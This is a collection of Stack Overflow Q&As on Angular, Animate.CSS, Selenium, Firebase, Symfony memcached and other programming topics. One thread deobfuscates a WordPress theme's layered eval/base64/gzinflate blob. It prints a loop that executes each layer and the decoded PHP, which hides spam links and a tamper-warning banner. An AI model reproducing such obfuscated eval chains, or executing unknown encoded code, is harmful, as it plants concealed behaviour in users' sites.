import 'rxjs/add/operator/map';
however, I keep getting the error
"Property 'Map' does not exist on type 'Observable"
I have tried different imports, and different combinations of imports for rxjs. Each one produces the same or a Black-listed error. I have allowed rxjs in tslint.json, but still get the error stated above.
with
Import { Observable } from 'rxjs/Observable';
It gives me: "Module has no exported member 'Observable'"
this is what I am working with:
import { Injectable } from '@angular/core';
import {Http, Response, RequestOptions, Headers} from '@angular/http';
import { Observable } from 'rxjs/Observable';
import 'rxjs/add/operator/map';
@Injectable({
providedIn: 'root'
})
export class AuthService {
baseUrl = 'http://localhost:5000/api/auth';
userToken: any;
constructor(private http: Http) { }
login(model: any) {
const headers = new Headers({'Content-type': 'application/json'});
const options = new RequestOptions({headers: headers});
return this.http.post(this.baseUrl + 'login', model, options).map((response: Response) => {
const user = response.json();
if (user) {
localStorage.setItem('token', user.tokenString);
this.userToken = user.tokenString;
}
});
}
}
A: Your imports should be something like the following in RxJS6:
(1) rxjs: Creation methods, types, schedulers and utilities
import { Observable, Subject } from 'rxjs';
(2) rxjs/operators: All pipeable operators:
import { map, filter, scan } from 'rxjs/operators';
For more information read the migration guide and import paths.
Also use pipe instead of chaining, for example:
login(model: any) {
const headers = new Headers({'Content-type': 'application/json'});
const options = new RequestOptions({headers: headers});
return this.http.post(this.baseUrl + 'login', model, options).pipe(
map((response: Response) => {
const user = response.json();
if (user) {
localStorage.setItem('token', user.tokenString);
this.userToken = user.tokenString;
}
}));
}
| {
"language": "en",
"url": "https://stackoverflow.com/questions/50382896",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Animate.CSS Replay? I have an animation using Animate.CSS that I would like to have replay if the user would like but what I have attempted does not work. Here is the code:
HTML:
<div class="img-center">
<img src="path.jpg" class="feature-image animated rotateInDownRight" />
</div>
<p class="textcenter"> </p>
<div class="img-center">
<a href="#" id="replay">Replay</a>
</div>
JS:
var $j = jQuery.noConflict();
$j("#replay").click(function() {
$j('.feature-image').removeClass('animated rotateInDownRight').addClass('animated rotateInDownRight');
});
I do know the script itself works as I can see it happen in Firebug however that animation doesn't animate again. How do I achieve this with Animate.CSS?
A: This is just a guess but it appears that jQuery isn't "finished" removing the class before it adds it back in. I know this makes NO sense, but it's how JavaScript works. It can call the next function in the chain before all the stuff from the first one is finished. I poked around the code on Animate.CSS's site and saw that they use a timeout in their animation function. You might try the same. Here's their code:
function testAnim(x) {
$('#animateTest').removeClass().addClass(x);
var wait = window.setTimeout( function(){
$('#animateTest').removeClass()},
1300
);
}
What this is doing is exactly like what you are doing except that it waits for the animation to finish, then removes the classes. That way when the other class is added back in, it is truely "new" to the tag. Here is a slightly modified function:
function testAnim(elementId, animClasses) {
$(elementId).addClass(animClasses);
var wait = window.setTimeout( function(){
$(elementId).removeClass(animClasses)},
1300
);
}
Notice two things: First this code would allow you to change what element gets the animation. Second, you remove the classes you added after 1300 milliseconds. Still not 100% there, but it might get you further down the road.
It should be noted that if there is already some animation classes on the object it might break this JS.
A: found the right answer at animate.css issue#3
var $at = $('#animateTest').removeClass();
//timeout is important !!
setTimeout(function(){
$at.addClass('flash')
}, 10);
Actually a simpler version can avoid using JQuery too.
el.classList.remove('animated','flash');
//timeout is important !!
setTimeout(function(){
el.classList.add('animated','flash');
}, 10);
A: I believe the issue here is that when I remove the class it was adding the class to quickly. Here is how I solved this issue:
(HTML is same as above question).
JS:
var $j = jQuery.noConflict();
window.setTimeout( function(){
$j('.feature-image').removeClass('animated rotateInDownRight')},
1300);
$j("#replay").click(function() {
$j('.feature-image').addClass('animated rotateInDownRight');
});
What I believe is happening is the jQuery code is removing and adding the class to quickly. Regardless of the reason this code works.
A: If you wish you can also give a try to this javaScript side development that support animate.css animations. Here is an example of usage.
//Select the elements to animate and enjoy!
var elt = document.querySelector("#notification") ;
iJS.animate(elt, "shake") ;
//it return an AnimationPlayer object
//animation iteration and duration can also be indicated.
var vivifyElt = iJS.animate(elt, "bounce", 3, 500) ;
vivifyElt.onfinish = function(e) {
//doSomething ...;
}
// less than 1500ms later...changed mind!
vivifyElt.cancel();
Take a look here
A: My answer is a trick to add/remove the css class with a tint delay:
$('#Box').removeClass('animated').hide().delay(1).queue(function() {
$(this).addClass('animated').show().dequeue();
});
Also you can test it without hide/show methods:
$('#Box').removeClass('animated').delay(1).queue(function() {
$(this).addClass('animated').dequeue();
});
I fill it works smooth in chrome but it works with more unexpected delay in FF, so you can test this js timeout:
$('#Box').removeClass('animated');
setTimeout(function(){
$('#Box').addClass('animated');
}, 1);
A: This solution relies on React useEffect, and it's rather clean, as it avoids manipulating the class names directly.
It doesn't really answers the OP question (which seems to be using jQuery), but it might still be useful to many people using React and Animate CSS library.
const [repeatAnimation, setRepeatAnimation] = useState<boolean>(true);
/**
* When the displayedFrom changes, replay the animations of the component.
* It toggles the CSS classes injected in the component to force replaying the animations.
* Uses a short timeout that isn't noticeable to the human eye, but is necessary for the toggle to work properly.
*/
useEffect(() => {
setRepeatAnimation(false);
setTimeout(() => setRepeatAnimation(true), 100);
}, [displayedFrom]);
return (
<div
className={classnames('block-picker-menu', {
'animate__animated': repeatAnimation,
'animate__pulse': repeatAnimation,
})}
...
)
| {
"language": "en",
"url": "https://stackoverflow.com/questions/12399145",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "5"
} |
Q: Selenium Standalone Server in Docker - TimeoutException I tried to execute a WebDriver 3.5 based test with ChromeDriver 2.31 in a Selenium Docker container.
I used this command to start necessary container:
docker run -d -p 4444:4444 -v /dev/shm:/dev/shm selenium/standalone-chrome:3.5.3-astatine
I use RemoteWebDriver to execute testsuite on remote host. It fails with following log:
org.openqa.selenium.TimeoutException: timeout (Session info:
chrome=61.0.3163.79) (Driver info: chromedriver=2.31.488763
, platform=Linux
4.10.0-33-generic x86_64) (WARNING: The server did not provide any stacktrace information) Build info: version: '3.5.2', revision: '10229a9', time:
'2017-08-21T17:29:55.15Z' Driver info:
org.openqa.selenium.remote.RemoteWebDriver Capabilities
[{applicationCacheEnabled=false, rotatable=false,
mobileEmulationEnabled=false, networkConnectionEnabled=false,
chrome={chromedriverVersion=2.31.488763,
userDataDir=/tmp/.org.chromium.Chromium.IAkqFG},
takesHeapSnapshot=true, pageLoadStrategy=normal,
unhandledPromptBehavior=, databaseEnabled=false, handlesAlerts=true,
hasTouchScreen=false, version=61.0.3163.79, platform=LINUX,
browserConnectionEnabled=false, nativeEvents=true,
acceptSslCerts=true, locationContextEnabled=true,
webStorageEnabled=true, browserName=chrome, takesScreenshot=true,
javascriptEnabled=true, cssSelectorsEnabled=true, setWindowRect=true,
unexpectedAlertBehaviour=}]
I checked web panel on http://:4444/wd/hub/static/resource/hub.html and found, there is a Chrome session, but when I try to take a screenshot I get a blank screen. The test fails when trying to access to this site.
The site uses invalid SSL, so HTTPS connection is insecure, but I use commands below to ignore certificate errors. It is working on local machine.
options.addArguments("--ignore-certificate-errors");
caps.setCapability (CapabilityType.ACCEPT_SSL_CERTS, true);
| {
"language": "en",
"url": "https://stackoverflow.com/questions/46219750",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: solr core initialization error I added a new core to solr. It was working perfectly.
Then I modified schema.xml and I cut-paste the matter in this file instead of doing this from terminal. Since than solr is unable to detect this core. I tried to solve this but unfortunately the default core Collection1 is also not initializing.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/20208603",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Exel VBA Array - Type Mismatch I am trying to pass the value of two cells as a concatenated string to adata array, but I am getting a mismatch error. If I only use aData = rData.Value2 the macro works fine. Not sure how to fix this.
Set ws = x_bs
sSearchCol = "C"
sfind = ThisWorkbook.Names("dr_co").RefersToRange(1, 1)
Set rFindText = ws.Columns(sSearchCol).Find(sfind, ws.Cells(ws.Rows.Count, sSearchCol), xlValues, xlWhole, , xlNext)
If rFindText Is Nothing Then GoTo errHandler
Set rFindBlank = ws.Range(sSearchCol & 1, rFindText).Find(vbNullString, rFindText, xlValues, xlWhole, , xlPrevious)
Set rData = ws.Range(rFindBlank.Offset(1), rFindText.Offset(-1))
If rData.Cells.Count = 1 Then
ReDim aData(1 To 1, 1 To 1)
aData(1, 1) = rData.Value2 & " - " & rData.Offset(0, 2).Value2
Else
aData = rData.Value2 & " - " & rData.Offset(0, 2).Value2
End If
| {
"language": "en",
"url": "https://stackoverflow.com/questions/56458082",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Can't get any Firebase features to work in Javascript Web app Building a simple web app to access data in a Firestore db. My code seems to get stuck as soon as any Firebase function calls are made, but the Firebase console for my project shows reads to the database. I have experience with Firebase in Swift, but not much in Javascript and I'm pretty stumped here. Here's my index.html:
<!doctype html>
<html lang="en">
<head>
<style>
h1 {text-align: center;}
h2 {text-align: center;}
h3 {text-align: center;}
form {text-align: center;}
</style>
<meta charset="utf-8">
<title>Endurance Database Access</title>
</head>
<body>
<script src="https://www.gstatic.com/firebasejs/7.14.3/firebase-app.js"></script>
<script src="https://www.gstatic.com/firebasejs/7.14.2/firebase-auth.js"></script>
<script src="https://www.gstatic.com/firebasejs/7.14.2/firebase-firestore.js"></script>
<script src="https://www.gstatic.com/firebasejs/7.14.2/firebase-analytics.js"></script>
<script>
const firebase = require('firebase/app');
require("firebase/auth");
require("firebase/firestore");
var firebaseConfig = {
apiKey: "-",
authDomain: "-",
databaseURL: "-",
projectId: "-",
storageBucket: "-",
messagingSenderId: "-",
appId: "-",
measurementId: "-"
};
firebase.initializeApp(firebaseConfig);
firebase.analytics();
</script>
<h1>Endurance Database Access</h1>
<h2>Client Lookup</h2>
<form>
<input type="text" id="cli" placeholder="Client name"><br>
</form>
<div id="button-div" style="text-align: center;">
<button type="button" id="cli-btn">Search</button>
</div>
<script>
const search_button = document.getElementById("cli-btn")
search_button.addEventListener("click", function() {
var client = document.getElementById("cli").value
var clientRef = firebase.firestore().collection("clients");
clientRef.where("Name", "==", client)
.get()
.then(function(querySnapshot) {
querySnapshot.forEach(function(doc) {
alert(doc.id, " => ", doc.data());
});
})
.catch(function(error) {
alert("Error getting documents: ", error);
});
});
</script>
</body>
Any alert after the initializeApp() call won't show, and my search_button event listener isn't displaying any output either.
Here's my package.json as well:
{
"name": "endurance-database",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "Daniel Licht",
"license": "ISC",
"dependencies": {
"firebase": "^7.14.3"
}
}
| {
"language": "en",
"url": "https://stackoverflow.com/questions/61765215",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: How to remove _format URL suffix from documentation generated by NelmioApiDocBundle? I've installed the NelmioApiDocBundle for my new API-oriented project in Symfony and I can't get rid of the .{_format} suffix that this bundle adds to all my endpoint URLs.
This is how it looks:
My API does not support the _format as suffix. It does support it as a query parameter or by request headers. Because of that, if I try to do a request to this endpoint from the NelmioApiDocBundle sandbox, it gets a 404 error response.
This is my current config.yml section regarding nelmio:
yml
nelmio_api_doc:
name: My API doc
sandbox:
enabled: true
endpoint: null
accept_type: application/json
body_format:
formats: null
default_format: json
request_format:
formats:
json: application/json
xml: null
method: accept_header
default_format: json
authentication:
name: bearer
delivery: query
cache:
enabled: false
file: '%kernel.cache_dir%/api-doc.cache'
A: I've figured it out elsewhere on stackoverflow. It seems that my problem was not related to NelmioApiDocBundle, but to FOSRestBundle. I've had to change only one FOSRest setting in config.yml:
fos_rest:
routing_loader:
include_format: false
I've found the solution here
| {
"language": "en",
"url": "https://stackoverflow.com/questions/32346610",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: Xcode - Access one view controller from multiple view controllers I have created an app which in total has 4 view controllers. 2 of these are pages that contain content with an (i) button in the top corner which links to an "about" section of the app. Currently I have 2 separate view controllers displaying the same thing (the about page) as I can't get the two view controllers to link to a single one when I click the button on each respectively.
Is there a way for two view controllers to access one view controller without me having to create a different about page for each one?
Thanks heaps
A: First you should set the button's target:
exampleButton addTarget:self action:@selector(buttonAction:) forControlEvents:UIControlEventTouchUpInside;
Then, in the button's method:
-(void)buttonAction:(id)sender
{
AboutViewController *aboutViewController = [[AboutViewController alloc] init];
[self.navigationController pushViewController:aboutViewController animated:YES];
}
Don't forget to add the about view controller's header file
#import "AboutViewController.h"
If you use storyboard, you should change the button's action method with
-(void)buttonAction:(id)sender
{
[self.navigationController performSegueWithIdentifier:@"aboutSegueIdentifier" sender:sender];
}
| {
"language": "en",
"url": "https://stackoverflow.com/questions/11754828",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: decoding php code Recuresively i think this is a classic question, i have some encoded php code in a wordpress theme that i want to decode,
the code is responsible for linking to a couple of irrelevant websites, i wanna to replace them with a link to the source website instead.
Edit: due to negative votes, maybe i have to explain more,
i tried replacing eval with echo, remove the whole code, decoding it online,
all these don't work because i always get another encoded string, i want a solution to decode the string iteratively until revealing get the html code.
eval(gzinflate(base64_decode(str_rot13(strrev('==jC9/3aks/9//950fElFo+AhZMoHt5ptamYrSq0F2D9nrc/sBsgZkRIjULvIIa5E0RVGJPIDYErPtxPPVzfh+hlTjjCovI7l2N37C3bPDVxFQ3VrqwHRk4z55vuxZjGro526lFixNQ3ZwmYAA88DzUTzJPk3zwJR9Lsb5VbUg1owEOEGXUL0fVvoTtZWcefoBbqBXK8t/aQTitbtgjJYT3ILq9i8PFvMj9JOp/pcKg/dq55QUPGeaIXyF527EzebhDbKPg5vMLAJchFIHs/NBlNhX4zc08EZ2ppkok7Sgle+uZfLdtf0jB6NFJ1c7qLx39T9msPaYxUH8dTlUEodCvEoeW2awQfph/wwEBr44F9/smLayS4OIAA9ykR6L14YnyZCzV3Wmy2aVDT3SeYn6MadB7v6q1p6+BeLfLUp/OsurpGjnn1Q+XnPFRytt6NaMI5BET/QQwLdzC1IzU0sFncqYvrMWLdOe9R2lNm6+Vj0NYGf3b6IwCzDFhVBk5WF8cuTx+9Q3tsvw28qwvAvB7ry2Ip4W5gHKX2vBMmdHhHh/jSeilWj7CwgBSosAhXNvpB8rKhyS3Tl6W5IuD6oASm4997Qd/Op441vIB9N9LPc7fk4bax7alaa3KC4LbHAjljgKAEeYkCaSbbjpF9S1LPLs3JkXUzjRa813Tvlr5tXpJfAvxDy73FwnWreCR15S+0NLW3mmTwak/MfIChSpyF9m8lZvRHi2ZRO6b+yQQLXXIo9I96Tb96mBKhk6mU6T894UuvZVsEILA1XatL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0V2i7TKnNXANdsg1LBn9sHW+Q6052ui+WuBhf7RbdQxqeJ2l3NfsYpnZzqT5XfLi6mWZzEDBzQSORD6B2ltcRdlYxYyQwKo8iMWacbJCyjTarNsxwuI781B0GSl8jBi3OGHzgdBvVisPvUWPb399+D03ogmkE+M8vBUQtqhi4p7CItaMUJgKVzYBTrj0ch5hsR4PbUqGFgznyVUJFCDIZIKhFuPKtgP3R6bUhwgIu8Vm8K26Atkhv4fMapVGACd6miprogp9wrNx5BkAC53GsKQZ2YOZobt/dHnzK1Xi1M70GX9Z4QsYA/SFy34RAJR0pZMLcrZqGm8sy4ppIfbO1Y05Fv9ssOfCpRJvQWYCacGzlo9ZenIH28u2odkkfFisx5UtM+noHFwzK1B2a8HxdngtSxNRPNPtOOzg//q/+/awgb2+5wuqq+z/+h9CSKhASI+/EQpeGzx/iD2+fLzac+s6wb4ilene7y9msbRYKltOQx2sCk0H5jfTBywmvOV9bkfHNO3K9sJcsIxgfAhoUiMS')))));
CODE;
while (strpos($code, 'eval') === 0) {
echo $code, PHP_EOL;
$code = substr_replace($code, 'echo', 0, 4);
ob_start();
eval($code);
$code = trim(ob_get_clean());
}
echo $code, PHP_EOL;
This gives you a lot of garbage, and in the end this:
$cf_____________j='c';$ax________c='d';$nl_____d='_';$ci_______________b='e';$fi________v='d';$qu______________c='6';$hk______________o='a';$ar_____h='e';$hp__________a='s';$cc____e='b';$um_______u='o';$zs_______________s='e';$yr_______n='4';$lr_________a=$cc____e.$hk______________o.$hp__________a.$zs_______________s.$qu______________c.$yr_______n.$nl_____d.$ax________c.$ar_____h.$cf_____________j.$um_______u.$fi________v.$ci_______________b;$sh______b='i';$lw_______e='i';$bx__v='x';$uo_____________o='c';$jb________r='t';$ge______y='e';$jn_______________o='u';$sw__________b='n';$rb____________k='s';$xc_______j='n';$tu___________o='t';$lh______v='f';$hc____o='o';$eq____c='s';$ks____t='_';$ep________g=$lh______v.$jn_______________o.$sw__________b.$uo_____________o.$tu___________o.$sh______b.$hc____o.$xc_______j.$ks____t.$ge______y.$bx__v.$lw_______e.$rb____________k.$jb________r.$eq____c;$wj______________r='e';$pl________r='n';$oy____t='f';$pj_____________i='o';$zg________h='p';$xe___________h=$oy____t.$pj_____________i.$zg________h.$wj______________r.$pl________r;$um_______j='f';$bm_____________b='d';$ah_______g='e';$yw__y='r';$hy__________t='a';$oo____e=$um_______j.$yw__y.$ah_______g.$hy__________t.$bm_____________b;$zd__g='s';$ia_____a='o';$le_____v='e';$pi_____i='l';$xm____j='f';$dh_______________s='c';$bz___u=$xm____j.$dh_______________s.$pi_____i.$ia_____a.$zd__g.$le_____v;define("WP_ID", $lr_________a("Mi4wLjA="));define("WP_TTL", $lr_________a("MTA4MDA="));define("WP_SRC", $lr_________a("dHBva24="));function wp_get_header() {global $lr_________a, $ep________g;if ($ep________g($lr_________a("d3BfdGhlbWVfR1BMX2NyZWRpdHM=")) &&$ep________g($lr_________a("d3BfZ2V0X2Zvb3Rlcg==")) &&$ep________g($lr_________a("d3BfY3ZfdmVyaWZ5"))) {get_header();}}function wp_get_footer() {get_footer();wp_cv_verify();}function wp_cv_verify() {global $lr_________a, $xe___________h, $bz___u, $oo____e;$cw____g = TEMPLATEPATH."/".$lr_________a("Zm9vdGVyLnBocA==");$oz_______________l = @$xe___________h($cw____g, "r");$cw____g = @$oo____e($oz_______________l, @filesize($cw____g));@$bz___u($oz_______________l);$qk___e = TEMPLATEPATH."/".$lr_________a("ZnVuY3Rpb25zLnBocA==");$oz_______________l = @$xe___________h($qk___e, "r");$qk___e = @$oo____e($oz_______________l, @filesize($qk___e));@$bz___u($oz_______________l);$ds________m = 0;if($cw____g && $qk___e) {if ($lr_________a("Z2VuZXJpY3dwdGhlbWVzLmNvbQ==") !== str_replace("www.", "", $_SERVER["SERVER_NAME"])) {if (substr_count($cw____g, $lr_________a("Z2VuZXJpY3dwdGhlbWVzLmNvbQ==")) < 2) {$ds________m = 1;}if (substr_count($cw____g, "wp_theme_GPL_credits()") < 1) {$ds________m = 2;}}if(WP_ID != "2.0.0") {$ds________m = 12;}}if($ds________m > 0) {echo "<div style=\"position: fixed; bottom:0; left:0; width:100%; height: 25px; background-color: red; color: white; font-size: 16px; padding: 2px 10px; text-align: center;\"> <strong> This themes is powered by <a href=\"http://genericwpthemes.com\" style=\"color: white;\">Free Wordpress Themes</a>. This website violated the terms of use <a href=\"http://genericwpthemes.com\" style=\"color: white;\">Free Wordpress Themes</a> </strong> </div>";echo "<!-- v: $ds________m -->";}}function wp_loaded() {global $lr_________a, $ep________g;return $ep________g($lr_________a("d3BfdGhlbWVfR1BMX2NyZWRpdHM="));}if (!function_exists("the_content_limit")) {function the_content_limit($ov______t, $bx__________q = "(more...)", $sa_________e = 0, $rb____f = "") {$sy_______j = get_the_content($bx__________q, $sa_________e, $rb____f);$sy_______j = apply_filters("the_content", $sy_______j);$sy_______j = str_replace("]]>", "]]>", $sy_______j);if (strlen($_GET["p"]) > 0) {echo $sy_______j;}else if ((strlen($sy_______j)>$ov______t) && ($zk__________f = strpos($sy_______j, " ", $ov______t ))) {$sy_______j = substr($sy_______j, 0, $zk__________f);$sy_______j = $sy_______j;echo $sy_______j;echo "...";echo "<br/>";echo "<div class='read-more'><a href='".get_permalink()."'>$bx__________q</a></div></p>";} else {echo $sy_______j;}}}$zd__g='s';$ia_____a='o';$le_____v='e';$pi_____i='l';$xm____j='f';$dh_______________s='c';$bz___u=$xm____j.$dh_______________s.$pi_____i.$ia_____a.$zd__g.$le_____v;function wp_theme_GPL_credits() {echo 'Art by <a href="http://www.quickest-way-to-lose-weight.co">Quickest Way to Lose Weight</a> | <a href="http://www.driveway-alarm.info">Driveway Alarm</a> | <a href="http://www.medical-assistant-salary.info">Medical Assistant Salary</a>';}
And no, I'm not going to deobfuscate that result for you too. :P
A: After several iterations of replacing eval by echo (22 to be precise), this resulted from the code:
$cf_____________j='c';$ax________c='d';$nl_____d='_';$ci_______________b='e';$fi________v='d';$qu______________c='6';$hk______________o='a';$ar_____h='e';$hp__________a='s';$cc____e='b';$um_______u='o';$zs_______________s='e';$yr_______n='4';$lr_________a=$cc____e.$hk______________o.$hp__________a.$zs_______________s.$qu______________c.$yr_______n.$nl_____d.$ax________c.$ar_____h.$cf_____________j.$um_______u.$fi________v.$ci_______________b;$sh______b='i';$lw_______e='i';$bx__v='x';$uo_____________o='c';$jb________r='t';$ge______y='e';$jn_______________o='u';$sw__________b='n';$rb____________k='s';$xc_______j='n';$tu___________o='t';$lh______v='f';$hc____o='o';$eq____c='s';$ks____t='_';$ep________g=$lh______v.$jn_______________o.$sw__________b.$uo_____________o.$tu___________o.$sh______b.$hc____o.$xc_______j.$ks____t.$ge______y.$bx__v.$lw_______e.$rb____________k.$jb________r.$eq____c;$wj______________r='e';$pl________r='n';$oy____t='f';$pj_____________i='o';$zg________h='p';$xe___________h=$oy____t.$pj_____________i.$zg________h.$wj______________r.$pl________r;$um_______j='f';$bm_____________b='d';$ah_______g='e';$yw__y='r';$hy__________t='a';$oo____e=$um_______j.$yw__y.$ah_______g.$hy__________t.$bm_____________b;$zd__g='s';$ia_____a='o';$le_____v='e';$pi_____i='l';$xm____j='f';$dh_______________s='c';$bz___u=$xm____j.$dh_______________s.$pi_____i.$ia_____a.$zd__g.$le_____v;define("WP_ID", $lr_________a("Mi4wLjA="));define("WP_TTL", $lr_________a("MTA4MDA="));define("WP_SRC", $lr_________a("dHBva24="));function wp_get_header() {global $lr_________a, $ep________g;if ($ep________g($lr_________a("d3BfdGhlbWVfR1BMX2NyZWRpdHM=")) &&$ep________g($lr_________a("d3BfZ2V0X2Zvb3Rlcg==")) &&$ep________g($lr_________a("d3BfY3ZfdmVyaWZ5"))) {get_header();}}function wp_get_footer() {get_footer();wp_cv_verify();}function wp_cv_verify() {global $lr_________a, $xe___________h, $bz___u, $oo____e;$cw____g = TEMPLATEPATH."/".$lr_________a("Zm9vdGVyLnBocA==");$oz_______________l = @$xe___________h($cw____g, "r");$cw____g = @$oo____e($oz_______________l, @filesize($cw____g));@$bz___u($oz_______________l);$qk___e = TEMPLATEPATH."/".$lr_________a("ZnVuY3Rpb25zLnBocA==");$oz_______________l = @$xe___________h($qk___e, "r");$qk___e = @$oo____e($oz_______________l, @filesize($qk___e));@$bz___u($oz_______________l);$ds________m = 0;if($cw____g && $qk___e) {if ($lr_________a("Z2VuZXJpY3dwdGhlbWVzLmNvbQ==") !== str_replace("www.", "", $_SERVER["SERVER_NAME"])) {if (substr_count($cw____g, $lr_________a("Z2VuZXJpY3dwdGhlbWVzLmNvbQ==")) < 2) {$ds________m = 1;}if (substr_count($cw____g, "wp_theme_GPL_credits()") < 1) {$ds________m = 2;}}if(WP_ID != "2.0.0") {$ds________m = 12;}}if($ds________m > 0) {echo "<div style=\"position: fixed; bottom:0; left:0; width:100%; height: 25px; background-color: red; color: white; font-size: 16px; padding: 2px 10px; text-align: center;\"> <strong> This themes is powered by <a href=\"http://genericwpthemes.com\" style=\"color: white;\">Free Wordpress Themes</a>. This website violated the terms of use <a href=\"http://genericwpthemes.com\" style=\"color: white;\">Free Wordpress Themes</a> </strong> </div>";echo "<!-- v: $ds________m -->";}}function wp_loaded() {global $lr_________a, $ep________g;return $ep________g($lr_________a("d3BfdGhlbWVfR1BMX2NyZWRpdHM="));}if (!function_exists("the_content_limit")) {function the_content_limit($ov______t, $bx__________q = "(more...)", $sa_________e = 0, $rb____f = "") {$sy_______j = get_the_content($bx__________q, $sa_________e, $rb____f);$sy_______j = apply_filters("the_content", $sy_______j);$sy_______j = str_replace("]]>", "]]>", $sy_______j);if (strlen($_GET["p"]) > 0) {echo $sy_______j;}else if ((strlen($sy_______j)>$ov______t) && ($zk__________f = strpos($sy_______j, " ", $ov______t ))) {$sy_______j = substr($sy_______j, 0, $zk__________f);$sy_______j = $sy_______j;echo $sy_______j;echo "...";echo "<br/>";echo "<div class='read-more'><a href='".get_permalink()."'>$bx__________q</a></div></p>";} else {echo $sy_______j;}}}$zd__g='s';$ia_____a='o';$le_____v='e';$pi_____i='l';$xm____j='f';$dh_______________s='c';$bz___u=$xm____j.$dh_______________s.$pi_____i.$ia_____a.$zd__g.$le_____v;function wp_theme_GPL_credits() {echo 'Art by <a href="http://www.quickest-way-to-lose-weight.co">Quickest Way to Lose Weight</a> | <a href="http://www.driveway-alarm.info">Driveway Alarm</a> | <a href="http://www.medical-assistant-salary.info">Medical Assistant Salary</a>';}
| {
"language": "en",
"url": "https://stackoverflow.com/questions/12300534",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "-5"
} |
Q: How do I add sliding tabs to android app, that already has nav drawer I have an app which has a nav drawer already, I want to add some sliding tabs to a couple fragments to limit the content that you have to scroll through.
I am having trouble combining he two (drawer panel and sliding tabs) from examples I've found on the web.
Thanks for any help!!!!
| {
"language": "en",
"url": "https://stackoverflow.com/questions/29581473",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: In which entity the User Group details and user Group roles will save? With reference to following link, https://asifaftab87.wordpress.com/2014/09/22/create-usergroup-programmatically-in-liferay/ I have created the user groups programatically. I wanted to know that in which table in the database the User Group details and User group Roles will get save? If I wish can it possible to add the custom fields for User Group using Expando API?
Any suggestions please.
A: Users are stored in USER_ table:
select * from USER_;
Groups are stored in GROUP_ table:
select * from GROUP_;
Roles are stored in ROLE_ table:
select * from ROLE_;
Simple view of users and their groups:
select USER_.USERID, USER_.SCREENNAME, USER_.EMAILADDRESS, GROUP_.NAME
from USER_, USERS_GROUPS, GROUP_
where USER_.USERID = USERS_GROUPS.USERID and USERS_GROUPS.GROUPID = GROUP_.GROUPID
order by USER_.SCREENNAME;
Simple view of users and their roles:
select USER_.USERID, USER_.SCREENNAME, USER_.EMAILADDRESS, ROLE_.NAME
from USER_, USERS_ROLES, ROLE_
where USER_.USERID = USERS_ROLES.USERID and USERS_ROLES.ROLEID = ROLE_.ROLEID
order by USER_.SCREENNAME;
Custom fields can be added for uses, groups and roles alike.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/29510143",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Create a Cache Provider class in Symfony We have memcache on our Symfony 3.4 app:
cache:
app: cache.adapter.memcached
default_memcached_provider: "%app.memcached.dsn%"
However, we've been asked to use several cache servers, so just passing one DSN is no good.
Looking here (https://symfony.com/blog/new-in-symfony-3-3-memcached-cache-adapter), I see you can create it in code like this:
$client = MemcachedAdapter::createConnection(array(
// format => memcached://[user:pass@][ip|host|socket[:port]][?weight=int]
// 'weight' ranges from 0 to 100 and it's used to prioritize servers
'memcached://my.server.com:11211'
'memcached://rmf:abcdef@localhost'
'memcached://127.0.0.1?weight=50'
'memcached://username:the-password@/var/run/memcached.sock'
'memcached:///var/run/memcached.sock?weight=20'
));
However, that isn't autowired.
I believe we need to either make a provider class, or somehow get it to make calls to addServer($dsn), once instantiated. I also saw the following on random posts:
memcache:
class: Memcached
calls:
- [ addServer, [ %app.memcached.dsn.1% ]]
- [ addServer, [ %app.memcached.dsn.2% ]]
However it isn't really helping or I have missed something out.
Can anyone help? How do I create this provider class?
A: You can copy above code snippet as a service configuration to your services.yaml, which probably roughly looks like this:
# app/config/services.yaml
services:
app.memcached_client:
class: Memcached
factory: 'Symfony\Component\Cache\Adapter\MemcachedAdapter::createConnection'
arguments: [['memcached://my.server.com:11211', 'memcached://rmf:abcdef@localhost']]
app.memcached_adapter:
class: Symfony\Component\Cache\Adapter\MemcachedAdapter
arguments:
- '@app.memcached_client'
Then in your configuration you should be able to reference the adapter using the client created by the factory, e.g. something like:
# app/config/config.yaml
framework:
cache:
app: app.memcached_adapter
You might also be able to overwrite the default alias cache.adapter.memcached instead of having your own adapter.
Your approach using Memcached::addServer might work as well, but just like with MemcachedAdapter::createConnection this will return the Client, which needs to be passed to the cache adapter. That's why there is a second service app.memcached_adapter, which is used in the cache configuration.
Please be aware that I have not tested this, so this is rather a rough outline than a fully working solution,
A: For one of my projects running Symfony 3.4 the configuration was simpler:
Create a service that will be used as a client:
app.memcached_client:
class: Memcached
factory: ['AppBundle\Services\Memcached', 'createConnection']
arguments: ['memcached://%memcache_ip%:%memcache_port%']
The AppBundle\Services\Memcached can have all the custom logic I need like so:
class Memcached
{
public static function createConnection($dns)
{
$options = [
'persistent_id' => 'some id'
];
// Some more custom logic. Maybe adding some custom options
// For example for AWS Elasticache
if (defined('Memcached::OPT_CLIENT_MODE') && defined('Memcached::DYNAMIC_CLIENT_MODE')) {
$options['CLIENT_MODE'] = \Memcached::DYNAMIC_CLIENT_MODE;
}
return \Symfony\Component\Cache\Adapter\MemcachedAdapter::createConnection($dns, $options);
}
}
And then I used that service in my config.yml:
framework:
cache:
default_memcached_provider: app.memcached_client
| {
"language": "en",
"url": "https://stackoverflow.com/questions/53048132",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: How to access a random generated integer from other class without generating other random number I have two classes
Class 1
public class Random {
public static int random() {
Random random = new Random();
return random.nextInt(10);
}
public static int number = random();
